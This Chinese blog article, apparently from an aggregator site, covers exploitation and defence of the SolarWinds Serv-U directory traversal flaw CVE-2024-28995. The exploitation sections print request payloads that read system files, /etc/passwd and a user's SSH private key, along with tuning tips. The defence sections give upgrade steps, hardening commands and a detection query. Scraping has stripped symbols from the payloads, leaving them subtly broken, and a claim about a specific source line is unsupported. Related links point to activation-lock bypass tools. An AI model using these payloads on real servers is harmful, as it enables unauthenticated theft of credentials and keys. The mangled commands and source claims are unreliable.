当前位置: 首页 > article >正文

深入解析SolarWinds Serv-U目录遍历漏洞(CVE-2024-28995)的利用与防御

1. SolarWinds Serv-U目录遍历漏洞深度剖析最近安全圈里热议的CVE-2024-28995漏洞本质上是个典型的目录遍历漏洞。简单来说就是攻击者能够通过构造特殊请求像玩跳格子游戏一样一层层跳出FTP服务器的访问限制范围直接读取系统上的任意文件。我去年在给客户做安全审计时就遇到过类似案例当时攻击者利用这个漏洞把服务器上的数据库配置文件都给掏出来了。这个漏洞影响的是SolarWinds旗下的Serv-U系列产品包括FTP Server、Gateway和MFT Server。具体来说所有版本号小于等于15.4.2 Hotfix 1的安装实例都存在风险。有意思的是这个漏洞在不同操作系统上的利用方式还有差异Windows系统要用正斜杠(/)而Linux系统反而要用反斜杠()这个细节我在复现时踩过坑。漏洞的严重性在于它完全不需要身份验证。想象一下就像你家保险箱的密码锁坏了谁都能直接拉开抽屉。攻击者只需要发送一个精心构造的HTTP请求比如/?InternalDir../../../../windowsInternalFilewin.ini就能读取到系统敏感文件。我实测过连/etc/passwd这样的关键文件都能被远程获取。2. 漏洞利用的实战细节2.1 Windows环境下的利用手法在Windows系统上攻击者通常会尝试读取这几个关键路径../../../../Windows/System32/drivers/etc/hosts../../../../ProgramData/RhinoSoft/Serv-U/Serv-U-StartupLog.txt../../../../Windows/win.ini我建议安全团队在排查时重点关注这些路径的访问日志。有个小技巧攻击者往往会先读取Serv-U的日志文件本身因为这里面可能包含其他敏感信息。记得有次应急响应我们就是通过分析异常日志访问记录抓到了攻击者的IP。构造PoC时要注意URL编码问题。比如空格要转成%20斜杠要确保不被服务器二次解码。建议先用Burp Suite这样的工具手动测试确认payload能正确传递到后端。这里有个典型的恶意请求示例GET /?InternalDir../../../../../../../../Windows/System32/InternalFiledrivers/etc/hosts HTTP/1.1 Host: vulnerable.server User-Agent: Mozilla/5.0 Connection: close2.2 Linux环境下的特殊技巧Linux系统上的利用就更有意思了。由于路径分隔符的差异payload需要做些调整。我整理了几个有效的测试用例读取/etc/passwdGET /?InternalDir\..\..\..\..\etcInternalFilepasswd HTTP/1.1获取SSH密钥GET /?InternalDir\..\..\..\..\home\user\.sshInternalFileid_rsa HTTP/1.1特别要注意的是某些Linux发行版对路径长度有限制。在测试Ubuntu系统时我发现超过一定层数的..会被拒绝这时需要精简路径深度。建议从\..\..\etc开始尝试逐步增加层级。3. 防御措施全攻略3.1 紧急修复方案最直接的解决方法是立即升级到安全版本Serv-U FTP Server 15.4.2 Hotfix 2或更高Serv-U Gateway 15.4.2 Hotfix 2或更高Serv-U MFT Server 15.4.2 Hotfix 2或更高升级步骤其实很简单登录SolarWinds官网下载最新安装包备份当前Serv-U配置包括用户数据和权限设置运行安装程序选择升级现有实例验证服务是否正常启动我帮客户升级时发现有些自定义配置可能在升级后被重置所以一定要做好备份。另外记得检查Serv-U-StartupLog.txt确认新版本所有功能模块加载正常。3.2 临时缓解措施如果暂时无法升级可以考虑这些临时方案网络层防护在防火墙设置规则限制对Serv-U管理端口的访问启用IP白名单只允许可信网络连接系统层加固# 限制Serv-U进程的权限 icacls C:\Program Files\RhinoSoft\Serv-U /remove Users icacls C:\ProgramData\RhinoSoft /deny Everyone:(OI)(CI)(RX)应用层防护在Serv-U配置中禁用Web客户端接口设置严格的访问控制列表(ACL)限制文件系统访问范围4. 漏洞检测与监控4.1 自查漏洞存在性用这个简单的curl命令就能检测系统是否脆弱curl -v http://yourserver:port/?InternalDir../../../../WindowsInternalFilewin.ini如果返回了win.ini文件内容说明存在漏洞。更专业的做法是用Nessus或OpenVAS扫描它们的最新插件已经支持CVE-2024-28995检测。4.2 日志监控策略建议在SIEM系统中添加这些监控规则检测包含InternalDir和InternalFile参数的请求监控连续出现的../模式警报对敏感文件路径的访问尝试这是Splunk的示例查询source/var/log/serv-u/access.log (InternalDir AND ..) OR (InternalFile AND (passwd OR shadow OR ini))5. 深入理解漏洞原理这个漏洞的根本原因在于路径校验逻辑缺陷。Serv-U在处理Web请求时没有正确规范化用户提供的InternalDir和InternalFile参数。当这两个参数拼接时攻击者可以通过目录遍历符突破预定目录。有趣的是Linux和Windows的不同表现源于Serv-U内部使用的路径处理库。在Linux上开发团队可能为了兼容Windows风格路径错误地允许了反斜杠作为分隔符。这提醒我们跨平台软件的路径处理要特别小心。我在代码审计时发现问题的核心出在RequestHandler.cpp这个文件的第342行左右。开发者直接使用了string拼接而没有调用CanonicalizePath函数。这种低级错误在文件操作相关的代码中其实很常见。

相关文章:

深入解析SolarWinds Serv-U目录遍历漏洞(CVE-2024-28995)的利用与防御

1. SolarWinds Serv-U目录遍历漏洞深度剖析 最近安全圈里热议的CVE-2024-28995漏洞,本质上是个典型的目录遍历漏洞。简单来说,就是攻击者能够通过构造特殊请求,像玩"跳格子"游戏一样,一层层跳出FTP服务器的访问限制范围…...

网络安全如何快速入门,新手也能少走半年弯路!收藏这篇就够了

后台总收到私信:“学网安该先看 Linux 还是先学 Burp?”“找了一堆教程,越学越乱怎么办?”—— 其实不是你学得慢,是没找对循序渐进的路径。很多人一上来就跟风学工具、刷漏洞,结果基础不牢,后期…...

Windows 11 系统下 Maven 3.9.0 一站式配置与开发环境集成指南

1. 为什么选择Maven 3.9.0? 如果你正在Windows 11上开发Java项目,Maven绝对是你不可或缺的得力助手。作为一个项目管理和构建工具,Maven能帮你自动下载依赖库、统一项目结构、管理构建生命周期。最新发布的3.9.0版本在性能上有显著提升&#…...

【深度解析】Godzilla流量特征与实战检测技巧

1. Godzilla流量核心特征解析 第一次接触Godzilla流量时,我和很多安全工程师一样被它独特的通信模式所迷惑。这种基于Java编写的Webshell管理工具,在攻防演练中出现的频率越来越高。经过多次实战分析,我总结出几个关键特征点,这些…...

突破二维限制:开源工具ImageToSTL实现图片转3D模型全攻略

突破二维限制:开源工具ImageToSTL实现图片转3D模型全攻略 【免费下载链接】ImageToSTL This tool allows you to easily convert any image into a 3D print-ready STL model. The surface of the model will display the image when illuminated from the left sid…...

【实战指南】登录界面全方位测试策略与案例分析

1. 登录界面测试为什么重要? 登录界面是用户进入系统的第一道门,它的好坏直接影响用户体验和系统安全。想象一下,当你打开一个APP或者网站,第一眼看到的就是登录界面。如果这个界面设计不合理、反应慢、或者经常出错,你…...

为什么83%的医疗PHP系统脱敏失效?——基于127家三甲医院审计报告的脱敏逻辑漏洞图谱分析

第一章:医疗PHP系统数据脱敏失效的审计全景图在医疗信息化系统中,PHP仍广泛用于HIS、LIS及预约平台等后端服务。然而,大量遗留系统在数据脱敏环节存在设计缺陷或配置疏漏,导致患者姓名、身份证号、病历号、手机号等敏感字段在日志…...

图解Simple-BEV核心模块:从2D图像到3D BEV特征图的完整数据流解析

图解Simple-BEV核心模块:从2D图像到3D BEV特征图的完整数据流解析 想象一下,当你驾驶汽车时,眼睛看到的只是前方有限的视野,而大脑却能神奇地将这些二维画面重构为三维空间感知。这正是自动驾驶系统中BEV(鸟瞰图&#…...

CosyVoice语音大模型快速部署:开箱即用,5分钟搭建个人语音合成系统

CosyVoice语音大模型快速部署:开箱即用,5分钟搭建个人语音合成系统 1. 为什么选择CosyVoice语音大模型 语音合成技术正在改变我们与数字世界的交互方式。CosyVoice作为阿里巴巴通义实验室研发的多语言语音生成模型,以其出色的自然度和易用性…...

艾米森冲刺港股:年营收1542万 亏4898万

雷递网 雷建平 4月7日武汉艾米森生命科技股份有限公司(简称:“艾米森”)日前更新招股书,准备在港交所上市。年营收1542万 亏4898万艾米森于2015年1月成立,是一家早期癌症检测公司,战略聚焦于高发病率、高死…...

解锁本科论文「无痛通关」密码:Paperxie 毕业论文功能全维度拆解,从选题到定稿一步到位

paperxie-免费查重复率aigc检测/开题报告/毕业论文/智能排版/文献综述/AIPPThttps://www.paperxie.cn/ai/dissertationhttps://www.paperxie.cn/ai/dissertation 引言:毕业季的「论文困局」,AI 正在打破僵局 每年毕业季,「写论文」几乎是所有…...

Pretext:值得关注的文本排版引擎陨

一、语言特性:Java 26 与模式匹配进化 1.1 Java 26 语言级别支持 IDEA 2026.1 EAP 最引人注目的变化之一,就是新增 Java 26 语言级别支持。这意味着开发者可以提前体验和测试即将在 JDK 26 中正式发布的语言特性。 其中最重要的变化是对 JEP 530 的全面支…...

intv_ai_mk11企业应用:法务合同审查要点提取+风险条款标红提示自动化流程

intv_ai_mk11企业应用:法务合同审查要点提取风险条款标红提示自动化流程 1. 企业法务合同审查的痛点 企业法务部门每天需要处理大量合同文件,传统人工审查方式存在几个明显痛点: 效率低下:一份10页的合同通常需要30-60分钟人工…...

Sonic云真机平台二次开发指南:自定义插件与扩展开发

Sonic云真机平台二次开发指南:自定义插件与扩展开发 【免费下载链接】sonic-server 🎉Back end of Sonic cloud real machine platform. Sonic云真机平台后端服务。 项目地址: https://gitcode.com/gh_mirrors/so/sonic-server Sonic云真机平台是…...

5MW海上永磁风电直驱+1200V风电并网Simulink仿真:矢量控制与混合储能系统

5MW海上永磁风电直驱1200V风电并网simulink仿真!采用矢量控制,混合储能采用超级电容与锂电池,采用滑动平均滤波算法分配高频与低频功率。 有参考!! 凌晨三点半盯着Simulink波形图突然跳红,我猛灌一口凉透的…...

永磁体磁场的有限元模拟(FEA仿真)

磁场是看不见摸不着的,那么怎样画出磁场的形状、描绘磁场的走向呢?借助有限元模拟是很好的方式。 有限元模拟也叫FEA仿真(Finite Element Analysis),是使用计算机利用复杂的数学方程、模型和公式对真实物理系统进行模拟…...

Hyper-V DDA图形化配置工具:从命令行泥潭到可视化管理的转型实践

Hyper-V DDA图形化配置工具:从命令行泥潭到可视化管理的转型实践 【免费下载链接】DDA 实现Hyper-V离散设备分配功能的图形界面工具。A GUI Tool For Hyper-Vs Discrete Device Assignment(DDA). 项目地址: https://gitcode.com/gh_mirrors/dd/DDA 开篇&…...

AppleRa1n:轻松绕过iOS 15-16激活锁的图形化工具

AppleRa1n:轻松绕过iOS 15-16激活锁的图形化工具 【免费下载链接】applera1n icloud bypass for ios 15-16 项目地址: https://gitcode.com/gh_mirrors/ap/applera1n 还在为忘记Apple ID密码而无法使用自己的iPhone或iPad而烦恼吗?或者你购买了一…...

Acrobat-Pro-DC-2026|Win中文|PDF编辑器|免安装版安装教程

我用夸克网盘给你分享了「Acrobat-....001」,点击链接或复制整段内容,打开「夸克APP」即可获取。动作辌辍渥玠璜多好/~3c073Y3Gtf~:/链接:https://pan.quark.cn/s/4af90540fc07Adobe Acrobat Pro DC 2026功能强大!全球最牛PDF编辑…...

Windows与Office激活终极指南:告别弹窗烦恼的完整解决方案

Windows与Office激活终极指南:告别弹窗烦恼的完整解决方案 【免费下载链接】KMS_VL_ALL_AIO Smart Activation Script 项目地址: https://gitcode.com/gh_mirrors/km/KMS_VL_ALL_AIO 你是否曾经遇到过Windows系统突然弹出激活提示,或者Office软件…...

3个步骤掌握Unity游戏插件加载:MelonLoader使用指南

3个步骤掌握Unity游戏插件加载:MelonLoader使用指南 【免费下载链接】MelonLoader The Worlds First Universal Mod Loader for Unity Games compatible with both Il2Cpp and Mono 项目地址: https://gitcode.com/gh_mirrors/me/MelonLoader 你是否曾想为喜…...

基于全同态加密的逻辑回归心脏病预测示例详解

(1)人口统计学(Demographic) 性别(Sex):男性或女性(分类变量) 年龄(Age):患者年龄(连续变量——虽然记录为整数&#xff0…...

NLP入门教程:从传统方法到深度学习

NLP入门教程:从传统方法到深度学习 标签:#自然语言处理、#人工智能、#大模型、#大模型实战、#transformer、#机器学习、#深度学习2.5 关键词提取 文末给大家准备了一份系统学习资料包,需要学习规划和欢迎扫码交流模块三:NLP核心工…...

3分钟完成Windows与Office永久激活:KMS_VL_ALL_AIO完整指南

3分钟完成Windows与Office永久激活:KMS_VL_ALL_AIO完整指南 【免费下载链接】KMS_VL_ALL_AIO Smart Activation Script 项目地址: https://gitcode.com/gh_mirrors/km/KMS_VL_ALL_AIO 还在为Windows系统弹出激活提示而烦恼吗?或者Office软件突然变…...

从电压比较器到超级电容:DyingGasp掉电检测电路的设计与调优

1. DyingGasp功能的核心价值与应用场景 想象一下你正在视频会议中突然断电,对方只会看到你突然消失的画面,完全不知道发生了什么。而在通信设备的世界里,这种"突然失联"会给整个系统带来更多麻烦。DyingGasp(临终喘息&a…...

从DeepFM源码到业务落地:Normalized Gini Coefficient在CTR预估中的实战调优指南

从DeepFM源码到业务落地:Normalized Gini Coefficient在CTR预估中的实战调优指南 当你在TensorFlow-DeepFM的源码中第一次看到Normalized Gini Coefficient这个评估指标时,是否和我一样产生过疑惑——为什么不用常见的AUC或LogLoss?这个问题困…...

从零搭建NLP系统:文本分类与知识抽取

从零搭建NLP系统:文本分类与知识抽取 标签:#自然语言处理、#人工智能、#大模型、#大模型实战、#transformer、#机器学习、#深度学习 自然语言处理行业价值、核心应用场景 原理:从句子中抽取人名、地名、组织名等实体。 1. 高薪敲门砖&#xf…...

HTML怎么显示导出文件体积优化建议_HTML压缩图片选项【操作】

优化图片需用现代格式(如WebP)合理尺寸有损压缩;HTML压缩只删注释、合并空白、移除可选闭合标签;构建时图片须经imagemin插件压缩,CSS背景图也要走loader处理。HTML里怎么让图片变小却不模糊导出体积大,八成…...

从激光雷达到摄像头:手把手教你用知识蒸馏提升单目3D检测性能(以UniDistill为例)

从激光雷达到单目视觉:UniDistill框架下的跨模态3D检测实战指南 当自动驾驶车辆在暴雨中行驶时,激光雷达点云变得稀疏,而摄像头图像因雨滴模糊失真——这正是跨模态知识蒸馏技术大显身手的场景。本文将带您深入UniDistill框架的核心&#xff…...

EEG数据处理全攻略:从EDF文件读取到.set文件保存的完整MATLAB代码示例

EEG数据处理全攻略:从EDF文件读取到.set文件保存的完整MATLAB代码示例 在神经科学研究中,脑电图(EEG)数据的处理是基础且关键的一环。对于使用MATLAB进行EEG数据分析的研究人员来说,从原始EDF文件读取到最终保存为.set格式的完整流程&#xf…...